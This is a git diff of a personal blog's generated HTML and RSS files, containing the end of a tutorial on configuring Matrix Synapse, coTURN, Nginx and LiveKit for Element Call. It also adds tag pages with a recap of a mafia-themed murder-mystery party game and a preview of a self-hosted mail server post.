    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/nginx/page/1/index.html b/public-clearnet/tags/nginx/page/1/index.html new file mode 100644 index 0000000..46eeea9 --- /dev/null +++ b/public-clearnet/tags/nginx/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/nginx/ + \ No newline at end of file diff --git a/public-clearnet/tags/noir/index.html b/public-clearnet/tags/noir/index.html new file mode 100644 index 0000000..a7c5e62 --- /dev/null +++ b/public-clearnet/tags/noir/index.html @@ -0,0 +1,11 @@ +Noir | AlipourIm journeys +

    La Plaza: The Falcones & the Morettis

    Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.

    October 25, 2025 · 13 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/noir/index.xml b/public-clearnet/tags/noir/index.xml new file mode 100644 index 0000000..7ed5af9 --- /dev/null +++ b/public-clearnet/tags/noir/index.xml @@ -0,0 +1,201 @@ +Noir on AlipourIm journeyshttps://blog.alipour.eu/tags/noir/Recent content in Noir on AlipourIm journeysHugo -- 0.146.0enSat, 25 Oct 2025 07:52:53 +0000La Plaza: The Falcones & the Morettishttps://blog.alipour.eu/posts/murder_mystery_night/Sat, 25 Oct 2025 07:52:53 +0000https://blog.alipour.eu/posts/murder_mystery_night/Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.Last night I attended a ZiS event called “the Murder Mystery night”.

    +

    The story was about two families. The Falcones, and the Moretti family.

    +
    +

    Gold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!

    +

    Family Trees

    + + + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
    underboss"] + Massimo["Massimo
    lawyer"] + Fabiola["Fabiola
    financial
    advisor"] + Aurora["Aurora
    associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] + Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] + Antonio["Antonio
    hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +
    + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
    underboss"] + Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
    fixer"] + Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico +
    + + +
    +

    Who’s Who (quick dossiers)

    +

    Falcone notes

    +
      +
    • Salvatore Falcone (†) — Former Don, killed under mysterious circumstances.
    • +
    • Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.
    • +
    • Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
    • +
    • Massimo — Younger brother; justice-minded, hardened by his wife’s death.
    • +
    • Aurora — Youngest; underestimated as naive or harmless, but observant.
    • +
    • Fabiola — Ambitious financial brain; growth-focused, clashes with tradition.
    • +
    • Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.
    • +
    • Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder.
    • +
    • Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable.
    • +
    +

    Moretti notes

    +
      +
    • Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
    • +
    • Nicoletta — Benito’s wife; once a prostitute, now regal and cunning.
    • +
    • Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game.
    • +
    • Enrico — Benito’s younger brother; accountant; clever, restless for influence.
    • +
    • Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.
    • +
    • Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.
    • +
    • Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
    • +
    • Santo — Lucia’s son; bold, admired and doubted in equal measure.
    • +
    +

    Aside from these characters, there were two additional characters. +Falcon’s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!

    +
    +

    World sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.

    +
    +

    After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon’s house, and that I was out in a casino with Aurora.

    +

    I didn’t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO

    +

    So, without further of do, let’s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD

    +

    Act I, the dinner

    +

    We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that’s what was written in our invitations.

    +

    The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.

    +

    The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.

    +

    She said, “I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.”

    +

    The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder.

    +

    Violetta, our family’s ice-cold fixer, replied, “it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention”.

    +

    They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.

    +

    While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won’t name here out of privacy). Thank you again for such an amazing event!

    +

    Act II, the invitations

    +

    Sophia looked at us with her death smile and said, “I was involved with 9 invitations, the ones to our family, and nothing more.”

    +

    The room went into a deep silence. What did she mean? Who made Moretti’s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti’s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?

    +

    The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.

    +

    Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger…

    +

    Act III, the evidence

    +

    Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.

    +

    There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore’s body from the other side. The third picture was of Salvatore’s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.

    +

    Massimo got up from his sit, pointing to an article about her wife’s death. He stated how this was similar to her death, and how she died “The Moretti way”. “She was shot and pushed down the stairs. What other evidence do you need?” said Massimo.

    +

    Benito replied calmly, “But Salvatore didn’t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.”. “Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.”, said Sergio with a collected tone.

    +

    Massimo wasn’t convinced, but he knew they were right. He just could not forgive her wife’s death.

    +

    The room went into silence again.

    +

    Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola’s accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore’s level, using the Falcones’ casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.

    +

    In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: “Be careful”.

    +

    Serena pointed to Antonio, and he took out a piece of paper of the family’s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti’s have with the youngest of the Falcones?

    +

    Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio’s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones’ that night, and that he was in a casino with Aurora; no further explanation was provided by him.

    +

    Aurora didn’t budge either.

    +

    Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, “Doesn’t that look like Santo’s gun? Where were you that night, Santos?”. “I was at home, with my mother”, Santos replied, and Lucia nodded.

    +

    It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.

    +

    Act IV, the confessions

    +

    The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard “there was another heir to Salvatore’s fortune”, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.

    +

    The prostitute continued, “Benito ordered to kill her mistress before the child was born, but he didn’t manage”. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.

    +

    Claudia wasn’t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?

    +

    The prostitute then continued. “Sergio is not Benito’s son”. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito’s son. Benito smiled. “Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.”

    +

    Sergio did not smile, or any changes in his face. He was ice-cold.

    +

    It was still not clear who plotted to kill Salvatore. Everyone was confused.

    +

    It was time for deduction.

    +

    Act V, the killer(s)

    +

    After a long discussion between all the family members, these were the conclusions.

    +

    It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti’s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.

    +

    Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.

    +

    If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family’s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?

    +

    Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like “The Moretti” way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore’s money, as with all ties broken, no one would suspect he was Salvatore’s son. Nicoletta would also not talk, as she would lose everything if she confessed.

    +

    Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn’t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti’s side.

    +

    It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?

    +

    Sophia was just disappointed with all of this. She didn’t budge.

    +

    The epilogue

    +

    Most people weren’t sharing what they knew not to become sus! I didn’t talk to everyone, but for example, the person who played Santo’s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I’m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren’t presenting everything they knew.

    +

    Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+
    +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d
    +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p
    +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj
    +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x
    +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH
    +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ
    +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp
    +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T
    +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC
    +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw=
    +=3iUy
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md.asc
    +gpg --verify murder_mystery_night.md.asc murder_mystery_night.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/noir/page/1/index.html b/public-clearnet/tags/noir/page/1/index.html new file mode 100644 index 0000000..8c2d289 --- /dev/null +++ b/public-clearnet/tags/noir/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/noir/ + \ No newline at end of file diff --git a/public-clearnet/tags/opendkim/index.html b/public-clearnet/tags/opendkim/index.html new file mode 100644 index 0000000..82d208b --- /dev/null +++ b/public-clearnet/tags/opendkim/index.html @@ -0,0 +1,13 @@ +Opendkim | AlipourIm journeys +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    July 24, 2026 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
